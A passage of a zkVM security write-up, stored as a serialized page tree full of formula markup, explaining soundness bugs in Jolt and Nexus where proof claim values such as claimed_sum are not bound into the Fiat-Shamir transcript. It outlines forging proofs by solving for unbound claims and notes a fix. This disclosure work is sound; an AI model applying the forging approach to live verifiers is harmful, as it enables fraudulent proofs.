children":118730},{"className":118729},[6731],[118731,118735,118740,118745,118749],{"type":21,"tag":153,"props":118732,"children":118734},{"className":118733,"style":117399},[6736],[],{"type":21,"tag":153,"props":118736,"children":118738},{"className":118737},[6742,24280],[118739],{"type":26,"value":29},{"type":21,"tag":153,"props":118741,"children":118743},{"className":118742},[6852],[118744],{"type":26,"value":6855},{"type":21,"tag":153,"props":118746,"children":118748},{"className":118747,"style":6859},[6820],[],{"type":21,"tag":153,"props":118750,"children":118752},{"className":118751},[6742,24280],[118753],{"type":26,"value":5972},{"type":26,"value":118755}," are determined by the transcript (independent of ",{"type":21,"tag":78,"props":118757,"children":118759},{"className":118758},[6715,6716],[118760],{"type":21,"tag":153,"props":118761,"children":118763},{"className":118762},[6721],[118764],{"type":21,"tag":153,"props":118765,"children":118767},{"className":118766,"ariaHidden":3294},[6726],[118768],{"type":21,"tag":153,"props":118769,"children":118771},{"className":118770},[6731],[118772,118776],{"type":21,"tag":153,"props":118773,"children":118775},{"className":118774,"style":24275},[6736],[],{"type":21,"tag":153,"props":118777,"children":118779},{"className":118778,"style":95578},[6742,24280],[118780],{"type":26,"value":95581},{"type":26,"value":118782},"). The verifier checks that ",{"type":21,"tag":78,"props":118784,"children":118786},{"className":118785},[6715,6716],[118787],{"type":21,"tag":153,"props":118788,"children":118790},{"className":118789},[6721],[118791],{"type":21,"tag":153,"props":118792,"children":118794},{"className":118793,"ariaHidden":3294},[6726],[118795,118881],{"type":21,"tag":153,"props":118796,"children":118798},{"className":118797},[6731],[118799,118803,118868,118872,118877],{"type":21,"tag":153,"props":118800,"children":118802},{"className":118801,"style":113341},[6736],[],{"type":21,"tag":153,"props":118804,"children":118806},{"className":118805},[6742],[118807,118812],{"type":21,"tag":153,"props":118808,"children":118810},{"className":118809,"style":24812},[6742,24280],[118811],{"type":26,"value":118573},{"type":21,"tag":153,"props":118813,"children":118815},{"className":118814},[6757],[118816],{"type":21,"tag":153,"props":118817,"children":118819},{"className":118818},[6762,24334],[118820,118857],{"type":21,"tag":153,"props":118821,"children":118823},{"className":118822},[6767],[118824,118852],{"type":21,"tag":153,"props":118825,"children":118827},{"className":118826,"style":118589},[6772],[118828],{"type":21,"tag":153,"props":118829,"children":118830},{"style":118593},[118831,118835],{"type":21,"tag":153,"props":118832,"children":118834},{"className":118833,"style":6782},[6781],[],{"type":21,"tag":153,"props":118836,"children":118838},{"className":118837},[6787,6788,6789,6790],[118839],{"type":21,"tag":153,"props":118840,"children":118842},{"className":118841},[6742,6790],[118843],{"type":21,"tag":153,"props":118844,"children":118846},{"className":118845},[6742,26,6790],[118847],{"type":21,"tag":153,"props":118848,"children":118850},{"className":118849},[6742,6790],[118851],{"type":26,"value":118616},{"type":21,"tag":153,"props":118853,"children":118855},{"className":118854},[24437],[118856],{"type":26,"value":24440},{"type":21,"tag":153,"props":118858,"children":118860},{"className":118859},[6767],[118861],{"type":21,"tag":153,"props":118862,"children":118864},{"className":118863,"style":95427},[6772],[118865],{"type":21,"tag":153,"props":118866,"children":118867},{},[],{"type":21,"tag":153,"props":118869,"children":118871},{"className":118870,"style":6918},[6820],[],{"type":21,"tag":153,"props":118873,"children":118875},{"className":118874},[6923],[118876],{"type":26,"value":2367},{"type":21,"tag":153,"props":118878,"children":118880},{"className":118879,"style":6918},[6820],[],{"type":21,"tag":153,"props":118882,"children":118884},{"className":118883},[6731],[118885,118889,118899,118904],{"type":21,"tag":153,"props":118886,"children":118888},{"className":118887,"style":96757},[6736],[],{"type":21,"tag":153,"props":118890,"children":118892},{"className":118891},[6742,26],[118893],{"type":21,"tag":153,"props":118894,"children":118896},{"className":118895},[6742],[118897],{"type":26,"value":118898},"expected",{"type":21,"tag":153,"props":118900,"children":118902},{"className":118901,"style":95344},[6742],[118903],{"type":26,"value":5834},{"type":21,"tag":153,"props":118905,"children":118907},{"className":118906},[6742,26],[118908],{"type":21,"tag":153,"props":118909,"children":118911},{"className":118910},[6742],[118912],{"type":26,"value":40241},{"type":26,"value":118914}," (from PCS opening), this becomes ",{"type":21,"tag":78,"props":118916,"children":118918},{"className":118917},[6715,6716],[118919],{"type":21,"tag":153,"props":118920,"children":118922},{"className":118921},[6721],[118923],{"type":21,"tag":153,"props":118924,"children":118926},{"className":118925,"ariaHidden":3294},[6726],[118927,118953,118979,119005],{"type":21,"tag":153,"props":118928,"children":118930},{"className":118929},[6731],[118931,118935,118940,118944,118949],{"type":21,"tag":153,"props":118932,"children":118934},{"className":118933,"style":117427},[6736],[],{"type":21,"tag":153,"props":118936,"children":118938},{"className":118937},[6742,24280],[118939],{"type":26,"value":29},{"type":21,"tag":153,"props":118941,"children":118943},{"className":118942,"style":6821},[6820],[],{"type":21,"tag":153,"props":118945,"children":118947},{"className":118946},[6826],[118948],{"type":26,"value":113606},{"type":21,"tag":153,"props":118950,"children":118952},{"className":118951,"style":6821},[6820],[],{"type":21,"tag":153,"props":118954,"children":118956},{"className":118955},[6731],[118957,118961,118966,118970,118975],{"type":21,"tag":153,"props":118958,"children":118960},{"className":118959,"style":117456},[6736],[],{"type":21,"tag":153,"props":118962,"children":118964},{"className":118963,"style":95578},[6742,24280],[118965],{"type":26,"value":95581},{"type":21,"tag":153,"props":118967,"children":118969},{"className":118968,"style":6821},[6820],[],{"type":21,"tag":153,"props":118971,"children":118973},{"className":118972},[6826],[118974],{"type":26,"value":4099},{"type":21,"tag":153,"props":118976,"children":118978},{"className":118977,"style":6821},[6820],[],{"type":21,"tag":153,"props":118980,"children":118982},{"className":118981},[6731],[118983,118987,118992,118996,119001],{"type":21,"tag":153,"props":118984,"children":118986},{"className":118985,"style":95259},[6736],[],{"type":21,"tag":153,"props":118988,"children":118990},{"className":118989},[6742,24280],[118991],{"type":26,"value":5972},{"type":21,"tag":153,"props":118993,"children":118995},{"className":118994,"style":6918},[6820],[],{"type":21,"tag":153,"props":118997,"children":118999},{"className":118998},[6923],[119000],{"type":26,"value":2367},{"type":21,"tag":153,"props":119002,"children":119004},{"className":119003,"style":6918},[6820],[],{"type":21,"tag":153,"props":119006,"children":119008},{"className":119007},[6731],[119009,119013,119022,119027],{"type":21,"tag":153,"props":119010,"children":119012},{"className":119011,"style":96757},[6736],[],{"type":21,"tag":153,"props":119014,"children":119016},{"className":119015},[6742,26],[119017],{"type":21,"tag":153,"props":119018,"children":119020},{"className":119019},[6742],[119021],{"type":26,"value":118898},{"type":21,"tag":153,"props":119023,"children":119025},{"className":119024,"style":95344},[6742],[119026],{"type":26,"value":5834},{"type":21,"tag":153,"props":119028,"children":119030},{"className":119029},[6742,26],[119031],{"type":21,"tag":153,"props":119032,"children":119034},{"className":119033},[6742],[119035],{"type":26,"value":40241},{"type":26,"value":355},{"type":21,"tag":22,"props":119038,"children":119039},{},[119040],{"type":26,"value":119041},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":21,"tag":22,"props":119043,"children":119044},{},[119045],{"type":26,"value":119046},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":21,"tag":22,"props":119048,"children":119049},{},[119050,119055,119057],{"type":21,"tag":8055,"props":119051,"children":119052},{},[119053],{"type":26,"value":119054},"Status:",{"type":26,"value":119056}," Fixed on October 3, 2025 via ",{"type":21,"tag":29,"props":119058,"children":119061},{"href":119059,"rel":119060},"https://github.com/a16z/jolt/pull/981",[33],[119062],{"type":26,"value":119063},"PR #981",{"type":21,"tag":21491,"props":119065,"children":119066},{},[],{"type":21,"tag":114,"props":119068,"children":119070},{"id":119069},"nexus",[119071],{"type":26,"value":110163},{"type":21,"tag":22,"props":119073,"children":119074},{},[119075],{"type":26,"value":119076},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":21,"tag":22,"props":119078,"children":119079},{},[119080,119082,119087],{"type":26,"value":119081},"Nexus splits verification into ",{"type":21,"tag":8055,"props":119083,"children":119084},{},[119085],{"type":26,"value":119086},"components",{"type":26,"value":119088}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":21,"tag":22,"props":119090,"children":119091},{},[119092,119094,119099],{"type":26,"value":119093},"Each component emits and consumes lookup tuples. The component's ",{"type":21,"tag":78,"props":119095,"children":119097},{"className":119096},[],[119098],{"type":26,"value":117208},{"type":26,"value":119100}," summarizes its net contribution:",{"type":21,"tag":22,"props":119102,"children":119103},{},[119104],{"type":21,"tag":78,"props":119105,"children":119107},{"className":119106},[6715,6716],[119108],{"type":21,"tag":153,"props":119109,"children":119111},{"className":119110},[6721],[119112],{"type":21,"tag":153,"props":119113,"children":119115},{"className":119114,"ariaHidden":3294},[6726],[119116,119212,119461],{"type":21,"tag":153,"props":119117,"children":119119},{"className":119118},[6731],[119120,119124,119133,119138,119199,119203,119208],{"type":21,"tag":153,"props":119121,"children":119123},{"className":119122,"style":96757},[6736],[],{"type":21,"tag":153,"props":119125,"children":119127},{"className":119126},[6742,26],[119128],{"type":21,"tag":153,"props":119129,"children":119131},{"className":119130},[6742],[119132],{"type":26,"value":116437},{"type":21,"tag":153,"props":119134,"children":119136},{"className":119135,"style":95344},[6742],[119137],{"type":26,"value":5834},{"type":21,"tag":153,"props":119139,"children":119141},{"className":119140},[6742],[119142,119151],{"type":21,"tag":153,"props":119143,"children":119145},{"className":119144},[6742,26],[119146],{"type":21,"tag":153,"props":119147,"children":119149},{"className":119148},[6742],[119150],{"type":26,"value":78929},{"type":21,"tag":153,"props":119152,"children":119154},{"className":119153},[6757],[119155],{"type":21,"tag":153,"props":119156,"children":119158},{"className":119157},[6762,24334],[119159,119188],{"type":21,"tag":153,"props":119160,"children":119162},{"className":119161},[6767],[119163,119183],{"type":21,"tag":153,"props":119164,"children":119166},{"className":119165,"style":95873},[6772],[119167],{"type":21,"tag":153,"props":119168,"children":119169},{"style":116474},[119170,119174],{"type":21,"tag":153,"props":119171,"children":119173},{"className":119172,"style":6782},[6781],[],{"type":21,"tag":153,"props":119175,"children":119177},{"className":119176},[6787,6788,6789,6790],[119178],{"type":21,"tag":153,"props":119179,"children":119181},{"className":119180},[6742,24280,6790],[119182],{"type":26,"value":6471},{"type":21,"tag":153,"props":119184,"children":119186},{"className":119185},[24437],[119187],{"type":26,"value":24440},{"type":21,"tag":153,"props":119189,"children":119191},{"className":119190},[6767],[119192],{"type":21,"tag":153,"props":119193,"children":119195},{"className":119194,"style":95427},[6772],[119196],{"type":21,"tag":153,"props":119197,"children":119198},{},[],{"type":21,"tag":153,"props":119200,"children":119202},{"className":119201,"style":6918},[6820],[],{"type":21,"tag":153,"props":119204,"children":119206},{"className":119205},[6923],[119207],{"type":26,"value":2367},{"type":21,"tag":153,"props":119209,"children":119211},{"className":119210,"style":6918},[6820],[],{"type":21,"tag":153,"props":119213,"children":119215},{"className":119214},[6731],[119216,119221,119278,119282,119448,119452,119457],{"type":21,"tag":153,"props":119217,"children":119220},{"className":119218,"style":119219},[6736],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":21,"tag":153,"props":119222,"children":119224},{"className":119223},[24316],[119225,119230],{"type":21,"tag":153,"props":119226,"children":119228},{"className":119227,"style":24323},[24316,24321,24322],[119229],{"type":26,"value":111139},{"type":21,"tag":153,"props":119231,"children":119233},{"className":119232},[6757],[119234],{"type":21,"tag":153,"props":119235,"children":119237},{"className":119236},[6762,24334],[119238,119267],{"type":21,"tag":153,"props":119239,"children":119241},{"className":119240},[6767],[119242,119262],{"type":21,"tag":153,"props":119243,"children":119245},{"className":119244,"style":116551},[6772],[119246],{"type":21,"tag":153,"props":119247,"children":119248},{"style":24347},[119249,119253],{"type":21,"tag":153,"props":119250,"children":119252},{"className":119251,"style":6782},[6781],[],{"type":21,"tag":153,"props":119254,"children":119256},{"className":119255},[6787,6788,6789,6790],[119257],{"type":21,"tag":153,"props":119258,"children":119260},{"className":119259,"style":116567},[6742,24280,6790],[119261],{"type":26,"value":11382},{"type":21,"tag":153,"props":119263,"children":119265},{"className":119264},[24437],[119266],{"type":26,"value":24440},{"type":21,"tag":153,"props":119268,"children":119270},{"className":119269},[6767],[119271],{"type":21,"tag":153,"props":119272,"children":119274},{"className":119273,"style":116582},[6772],[119275],{"type":21,"tag":153,"props":119276,"children":119277},{},[],{"type":21,"tag":153,"props":119279,"children":119281},{"className":119280,"style":6859},[6820],[],{"type":21,"tag":153,"props":119283,"children":119285},{"className":119284},[6742],[119286,119290,119444],{"type":21,"tag":153,"props":119287,"children":119289},{"className":119288},[24409,115862],[],{"type":21,"tag":153,"props":119291,"children":119293},{"className":119292},[115867],[119294],{"type":21,"tag":153,"props":119295,"children":119297},{"className":119296},[6762,24334],[119298,119432],{"type":21,"tag":153,"props":119299,"children":119301},{"className":119300},[6767],[119302,119427],{"type":21,"tag":153,"props":119303,"children":119305},{"className":119304,"style":115880},[6772],[119306,119396,119407],{"type":21,"tag":153,"props":119307,"children":119308},{"style":115884},[119309,119313],{"type":21,"tag":153,"props":119310,"children":119312},{"className":119311,"style":114515},[6781],[],{"type":21,"tag":153,"props":119314,"children":119316},{"className":119315},[6787,6788,6789,6790],[119317],{"type":21,"tag":153,"props":119318,"children":119320},{"className":119319},[6742,6790],[119321,119326,119331],{"type":21,"tag":153,"props":119322,"children":119324},{"className":119323,"style":115901},[6742,24280,6790],[119325],{"type":26,"value":115904},{"type":21,"tag":153,"props":119327,"children":119329},{"className":119328},[6826,6790],[119330],{"type":26,"value":6801},{"type":21,"tag":153,"props":119332,"children":119334},{"className":119333},[6742,6790],[119335,119345],{"type":21,"tag":153,"props":119336,"children":119338},{"className":119337},[6742,26,6790],[119339],{"type":21,"tag":153,"props":119340,"children":119342},{"className":119341},[6742,6790],[119343],{"type":26,"value":119344},"produced",{"type":21,"tag":153,"props":119346,"children":119348},{"className":119347},[6757],[119349],{"type":21,"tag":153,"props":119350,"children":119352},{"className":119351},[6762,24334],[119353,119384],{"type":21,"tag":153,"props":119354,"children":119356},{"className":119355},[6767],[119357,119379],{"type":21,"tag":153,"props":119358,"children":119361},{"className":119359,"style":119360},[6772],"height:0.2052em;",[119362],{"type":21,"tag":153,"props":119363,"children":119365},{"style":119364},"top:-2.2341em;margin-right:0.0714em;",[119366,119370],{"type":21,"tag":153,"props":119367,"children":119369},{"className":119368,"style":111204},[6781],[],{"type":21,"tag":153,"props":119371,"children":119373},{"className":119372},[6787,111209,111210,6790],[119374],{"type":21,"tag":153,"props":119375,"children":119377},{"className":119376,"style":116567},[6742,24280,6790],[119378],{"type":26,"value":11382},{"type":21,"tag":153,"props":119380,"children":119382},{"className":119381},[24437],[119383],{"type":26,"value":24440},{"type":21,"tag":153,"props":119385,"children":119387},{"className":119386},[6767],[119388],{"type":21,"tag":153,"props":119389,"children":119392},{"className":119390,"style":119391},[6772],"height:0.4048em;",[119393],{"type":21,"tag":153,"props":119394,"children":119395},{},[],{"type":21,"tag":153,"props":119397,"children":119398},{"style":115917},[119399,119403],{"type":21,"tag":153,"props":119400,"children":119402},{"className":119401,"style":114515},[6781],[],{"type":21,"tag":153,"props":119404,"children":119406},{"className":119405,"style":115927},[115926],[],{"type":21,"tag":153,"props":119408,"children":119409},{"style":115931},[119410,119414],{"type":21,"tag":153,"props":119411,"children":119413},{"className":119412,"style":114515},[6781],[],{"type":21,"tag":153,"props":119415,"children":119417},{"className":119416},[6787,6788,6789,6790],[119418],{"type":21,"tag":153,"props":119419,"children":119421},{"className":119420},[6742,6790],[119422],{"type":21,"tag":153,"props":119423,"children":119425},{"className":119424},[6742,6790],[119426],{"type":26,"value":3033},{"type":21,"tag":153,"props":119428,"children":119430},{"className":119429},[24437],[119431],{"type":26,"value":24440},{"type":21,"tag":153,"props":119433,"children":119435},{"className":119434},[6767],[119436],{"type":21,"tag":153,"props":119437,"children":119440},{"className":119438,"style":119439},[6772],"height:0.6283em;",[119441],{"type":21,"tag":153,"props":119442,"children":119443},{},[],{"type":21,"tag":153,"props":119445,"children":119447},{"className":119446},[24431,115862],[],{"type":21,"tag":153,"props":119449,"children":119451},{"className":119450,"style":6821},[6820],[],{"type":21,"tag":153,"props":119453,"children":119455},{"className":119454},[6826],[119456],{"type":26,"value":6801},{"type":21,"tag":153,"props":119458,"children":119460},{"className":119459,"style":6821},[6820],[],{"type":21,"tag":153,"props":119462,"children":119464},{"className":119463},[6731],[119465,119469,119526,119530],{"type":21,"tag":153,"props":119466,"children":119468},{"className":119467,"style":116776},[6736],[],{"type":21,"tag":153,"props":119470,"children":119472},{"className":119471},[24316],[119473,119478],{"type":21,"tag":153,"props":119474,"children":119476},{"className":119475,"style":24323},[24316,24321,24322],[119477],{"type":26,"value":111139},{"type":21,"tag":153,"props":119479,"children":119481},{"className":119480},[6757],[119482],{"type":21,"tag":153,"props":119483,"children":119485},{"className":119484},[6762,24334],[119486,119515],{"type":21,"tag":153,"props":119487,"children":119489},{"className":119488},[6767],[119490,119510],{"type":21,"tag":153,"props":119491,"children":119493},{"className":119492,"style":116016},[6772],[119494],{"type":21,"tag":153,"props":119495,"children":119496},{"style":24347},[119497,119501],{"type":21,"tag":153,"props":119498,"children":119500},{"className":119499,"style":6782},[6781],[],{"type":21,"tag":153,"props":119502,"children":119504},{"className":119503},[6787,6788,6789,6790],[119505],{"type":21,"tag":153,"props":119506,"children":119508},{"className":119507,"style":96773},[6742,24280,6790],[119509],{"type":26,"value":90981},{"type":21,"tag":153,"props":119511,"children":119513},{"className":119512},[24437],[119514],{"type":26,"value":24440},{"type":21,"tag":153,"props":119516,"children":119518},{"className":119517},[6767],[119519],{"type":21,"tag":153,"props":119520,"children":119522},{"className":119521,"style":116831},[6772],[119523],{"type":21,"tag":153,"props":119524,"children":119525},{},[],{"type":21,"tag":153,"props":119527,"children":119529},{"className":119528,"style":6859},[6820],[],{"type":21,"tag":153,"props":119531,"children":119533},{"className":119532},[6742],[119534,119538,119688],{"type":21,"tag":153,"props":119535,"children":119537},{"className":119536},[24409,115862],[],{"type":21,"tag":153,"props":119539,"children":119541},{"className":119540},[115867],[119542],{"type":21,"tag":153,"props":119543,"children":119545},{"className":119544},[6762,24334],[119546,119677],{"type":21,"tag":153,"props":119547,"children":119549},{"className":119548},[6767],[119550,119672],{"type":21,"tag":153,"props":119551,"children":119553},{"className":119552,"style":115880},[6772],[119554,119641,119652],{"type":21,"tag":153,"props":119555,"children":119556},{"style":115884},[119557,119561],{"type":21,"tag":153,"props":119558,"children":119560},{"className":119559,"style":114515},[6781],[],{"type":21,"tag":153,"props":119562,"children":119564},{"className":119563},[6787,6788,6789,6790],[119565],{"type":21,"tag":153,"props":119566,"children":119568},{"className":119567},[6742,6790],[119569,119574,119579],{"type":21,"tag":153,"props":119570,"children":119572},{"className":119571,"style":115901},[6742,24280,6790],[119573],{"type":26,"value":115904},{"type":21,"tag":153,"props":119575,"children":119577},{"className":119576},[6826,6790],[119578],{"type":26,"value":6801},{"type":21,"tag":153,"props":119580,"children":119582},{"className":119581},[6742,6790],[119583,119593],{"type":21,"tag":153,"props":119584,"children":119586},{"className":119585},[6742,26,6790],[119587],{"type":21,"tag":153,"props":119588,"children":119590},{"className":119589},[6742,6790],[119591],{"type":26,"value":119592},"consumed",{"type":21,"tag":153,"props":119594,"children":119596},{"className":119595},[6757],[119597],{"type":21,"tag":153,"props":119598,"children":119600},{"className":119599},[6762,24334],[119601,119630],{"type":21,"tag":153,"props":119602,"children":119604},{"className":119603},[6767],[119605,119625],{"type":21,"tag":153,"props":119606,"children":119608},{"className":119607,"style":114676},[6772],[119609],{"type":21,"tag":153,"props":119610,"children":119611},{"style":116921},[119612,119616],{"type":21,"tag":153,"props":119613,"children":119615},{"className":119614,"style":111204},[6781],[],{"type":21,"tag":153,"props":119617,"children":119619},{"className":119618},[6787,111209,111210,6790],[119620],{"type":21,"tag":153,"props":119621,"children":119623},{"className":119622,"style":96773},[6742,24280,6790],[119624],{"type":26,"value":90981},{"type":21,"tag":153,"props":119626,"children":119628},{"className":119627},[24437],[119629],{"type":26,"value":24440},{"type":21,"tag":153,"props":119631,"children":119633},{"className":119632},[6767],[119634],{"type":21,"tag":153,"props":119635,"children":119637},{"className":119636,"style":116948},[6772],[119638],{"type":21,"tag":153,"props":119639,"children":119640},{},[],{"type":21,"tag":153,"props":119642,"children":119643},{"style":115917},[119644,119648],{"type":21,"tag":153,"props":119645,"children":119647},{"className":119646,"style":114515},[6781],[],{"type":21,"tag":153,"props":119649,"children":119651},{"className":119650,"style":115927},[115926],[],{"type":21,"tag":153,"props":119653,"children":119654},{"style":115931},[119655,119659],{"type":21,"tag":153,"props":119656,"children":119658},{"className":119657,"style":114515},[6781],[],{"type":21,"tag":153,"props":119660,"children":119662},{"className":119661},[6787,6788,6789,6790],[119663],{"type":21,"tag":153,"props":119664,"children":119666},{"className":119665},[6742,6790],[119667],{"type":21,"tag":153,"props":119668,"children":119670},{"className":119669},[6742,6790],[119671],{"type":26,"value":3033},{"type":21,"tag":153,"props":119673,"children":119675},{"className":119674},[24437],[119676],{"type":26,"value":24440},{"type":21,"tag":153,"props":119678,"children":119680},{"className":119679},[6767],[119681],{"type":21,"tag":153,"props":119682,"children":119684},{"className":119683,"style":116996},[6772],[119685],{"type":21,"tag":153,"props":119686,"children":119687},{},[],{"type":21,"tag":153,"props":119689,"children":119691},{"className":119690},[24431,115862],[],{"type":21,"tag":22,"props":119693,"children":119694},{},[119695,119697,119702],{"type":26,"value":119696},"All ",{"type":21,"tag":78,"props":119698,"children":119700},{"className":119699},[],[119701],{"type":26,"value":117208},{"type":26,"value":119703}," values must sum to zero (everything produced is consumed).",{"type":21,"tag":22,"props":119705,"children":119706},{},[119707,119709,119714],{"type":26,"value":119708},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":21,"tag":8055,"props":119710,"children":119711},{},[119712],{"type":26,"value":119713},"OODS (Out-of-Domain Sampling)",{"type":26,"value":119715}," test.",{"type":21,"tag":22,"props":119717,"children":119718},{},[119719],{"type":21,"tag":8055,"props":119720,"children":119721},{},[119722],{"type":26,"value":117760},{"type":21,"tag":143,"props":119724,"children":119726},{"code":119725},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[119727],{"type":21,"tag":78,"props":119728,"children":119729},{"__ignoreMap":7},[119730],{"type":26,"value":119725},{"type":21,"tag":22,"props":119732,"children":119733},{},[119734,119736,119741],{"type":26,"value":119735},"The",{"type":21,"tag":78,"props":119737,"children":119739},{"className":119738},[],[119740],{"type":26,"value":117208},{"type":26,"value":119742}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":21,"tag":22,"props":119744,"children":119745},{},[119746],{"type":21,"tag":3644,"props":119747,"children":119750},{"alt":119748,"src":119749},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":21,"tag":22,"props":119752,"children":119753},{},[119754,119756,119765],{"type":26,"value":119755},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":21,"tag":8055,"props":119757,"children":119758},{},[119759,119760],{"type":26,"value":114215},{"type":21,"tag":78,"props":119761,"children":119763},{"className":119762},[],[119764],{"type":26,"value":117208},{"type":26,"value":201},{"type":21,"tag":22,"props":119767,"children":119768},{},[119769],{"type":26,"value":119770},"The composition polynomial is a random linear combination of constraints:",{"type":21,"tag":22,"props":119772,"children":119773},{},[119774],{"type":21,"tag":78,"props":119775,"children":119777},{"className":119776},[6715,6716],[119778],{"type":21,"tag":153,"props":119779,"children":119781},{"className":119780},[6721],[119782],{"type":21,"tag":153,"props":119783,"children":119785},{"className":119784,"ariaHidden":3294},[6726],[119786,119827,119966],{"type":21,"tag":153,"props":119787,"children":119789},{"className":119788},[6731],[119790,119794,119799,119804,119809,119814,119818,119823],{"type":21,"tag":153,"props":119791,"children":119793},{"className":119792,"style":6841},[6736],[],{"type":21,"tag":153,"props":119795,"children":119797},{"className":119796,"style":24812},[6742,24280],[119798],{"type":26,"value":118573},{"type":21,"tag":153,"props":119800,"children":119802},{"className":119801},[24409],[119803],{"type":26,"value":189},{"type":21,"tag":153,"props":119805,"children":119807},{"className":119806},[6742,24280],[119808],{"type":26,"value":21972},{"type":21,"tag":153,"props":119810,"children":119812},{"className":119811},[24431],[119813],{"type":26,"value":2071},{"type":21,"tag":153,"props":119815,"children":119817},{"className":119816,"style":6918},[6820],[],{"type":21,"tag":153,"props":119819,"children":119821},{"className":119820},[6923],[119822],{"type":26,"value":2367},{"type":21,"tag":153,"props":119824,"children":119826},{"className":119825,"style":6918},[6820],[],{"type":21,"tag":153,"props":119828,"children":119830},{"className":119829},[6731],[119831,119835,119892,119896,119953,119957,119962],{"type":21,"tag":153,"props":119832,"children":119834},{"className":119833,"style":117977},[6736],[],{"type":21,"tag":153,"props":119836,"children":119838},{"className":119837},[24316],[119839,119844],{"type":21,"tag":153,"props":119840,"children":119842},{"className":119841,"style":24323},[24316,24321,24322],[119843],{"type":26,"value":111139},{"type":21,"tag":153,"props":119845,"children":119847},{"className":119846},[6757],[119848],{"type":21,"tag":153,"props":119849,"children":119851},{"className":119850},[6762,24334],[119852,119881],{"type":21,"tag":153,"props":119853,"children":119855},{"className":119854},[6767],[119856,119876],{"type":21,"tag":153,"props":119857,"children":119859},{"className":119858,"style":116551},[6772],[119860],{"type":21,"tag":153,"props":119861,"children":119862},{"style":24347},[119863,119867],{"type":21,"tag":153,"props":119864,"children":119866},{"className":119865,"style":6782},[6781],[],{"type":21,"tag":153,"props":119868,"children":119870},{"className":119869},[6787,6788,6789,6790],[119871],{"type":21,"tag":153,"props":119872,"children":119874},{"className":119873},[6742,24280,6790],[119875],{"type":26,"value":6471},{"type":21,"tag":153,"props":119877,"children":119879},{"className":119878},[24437],[119880],{"type":26,"value":24440},{"type":21,"tag":153,"props":119882,"children":119884},{"className":119883},[6767],[119885],{"type":21,"tag":153,"props":119886,"children":119888},{"className":119887,"style":116831},[6772],[119889],{"type":21,"tag":153,"props":119890,"children":119891},{},[],{"type":21,"tag":153,"props":119893,"children":119895},{"className":119894,"style":6859},[6820],[],{"type":21,"tag":153,"props":119897,"children":119899},{"className":119898},[6742],[119900,119905],{"type":21,"tag":153,"props":119901,"children":119903},{"className":119902,"style":117432},[6742,24280],[119904],{"type":26,"value":117435},{"type":21,"tag":153,"props":119906,"children":119908},{"className":119907},[6757],[119909],{"type":21,"tag":153,"props":119910,"children":119912},{"className":119911},[6762,24334],[119913,119942],{"type":21,"tag":153,"props":119914,"children":119916},{"className":119915},[6767],[119917,119937],{"type":21,"tag":153,"props":119918,"children":119920},{"className":119919,"style":95873},[6772],[119921],{"type":21,"tag":153,"props":119922,"children":119923},{"style":118067},[119924,119928],{"type":21,"tag":153,"props":119925,"children":119927},{"className":119926,"style":6782},[6781],[],{"type":21,"tag":153,"props":119929,"children":119931},{"className":119930},[6787,6788,6789,6790],[119932],{"type":21,"tag":153,"props":119933,"children":119935},{"className":119934},[6742,24280,6790],[119936],{"type":26,"value":6471},{"type":21,"tag":153,"props":119938,"children":119940},{"className":119939},[24437],[119941],{"type":26,"value":24440},{"type":21,"tag":153,"props":119943,"children":119945},{"className":119944},[6767],[119946],{"type":21,"tag":153,"props":119947,"children":119949},{"className":119948,"style":95427},[6772],[119950],{"type":21,"tag":153,"props":119951,"children":119952},{},[],{"type":21,"tag":153,"props":119954,"children":119956},{"className":119955,"style":6821},[6820],[],{"type":21,"tag":153,"props":119958,"children":119960},{"className":119959},[6826],[119961],{"type":26,"value":113606},{"type":21,"tag":153,"props":119963,"children":119965},{"className":119964,"style":6821},[6820],[],{"type":21,"tag":153,"props":119967,"children":119969},{"className":119968},[6731],[119970,119974,120036,120041,120046],{"type":21,"tag":153,"props":119971,"children":119973},{"className":119972,"style":6841},[6736],[],{"type":21,"tag":153,"props":119975,"children":119977},{"className":119976},[6742],[119978,119988],{"type":21,"tag":153,"props":119979,"children":119981},{"className":119980},[6742,26],[119982],{"type":21,"tag":153,"props":119983,"children":119985},{"className":119984},[6742],[119986],{"type":26,"value":119987},"constraint",{"type":21,"tag":153,"props":119989,"children":119991},{"className":119990},[6757],[119992],{"type":21,"tag":153,"props":119993,"children":119995},{"className":119994},[6762,24334],[119996,120025],{"type":21,"tag":153,"props":119997,"children":119999},{"className":119998},[6767],[120000,120020],{"type":21,"tag":153,"props":120001,"children":120003},{"className":120002,"style":95873},[6772],[120004],{"type":21,"tag":153,"props":120005,"children":120006},{"style":116474},[120007,120011],{"type":21,"tag":153,"props":120008,"children":120010},{"className":120009,"style":6782},[6781],[],{"type":21,"tag":153,"props":120012,"children":120014},{"className":120013},[6787,6788,6789,6790],[120015],{"type":21,"tag":153,"props":120016,"children":120018},{"className":120017},[6742,24280,6790],[120019],{"type":26,"value":6471},{"type":21,"tag":153,"props":120021,"children":120023},{"className":120022},[24437],[120024],{"type":26,"value":24440},{"type":21,"tag":153,"props":120026,"children":120028},{"className":120027},[6767],[120029],{"type":21,"tag":153,"props":120030,"children":120032},{"className":120031,"style":95427},[6772],[120033],{"type":21,"tag":153,"props":120034,"children":120035},{},[],{"type":21,"tag":153,"props":120037,"children":120039},{"className":120038},[24409],[120040],{"type":26,"value":189},{"type":21,"tag":153,"props":120042,"children":120044},{"className":120043},[6742,24280],[120045],{"type":26,"value":21972},{"type":21,"tag":153,"props":120047,"children":120049},{"className":120048},[24431],[120050],{"type":26,"value":2071},{"type":21,"tag":22,"props":120052,"children":120053},{},[120054,120056,120061,120063,120068],{"type":26,"value":120055},"Since each constraint is linear in its 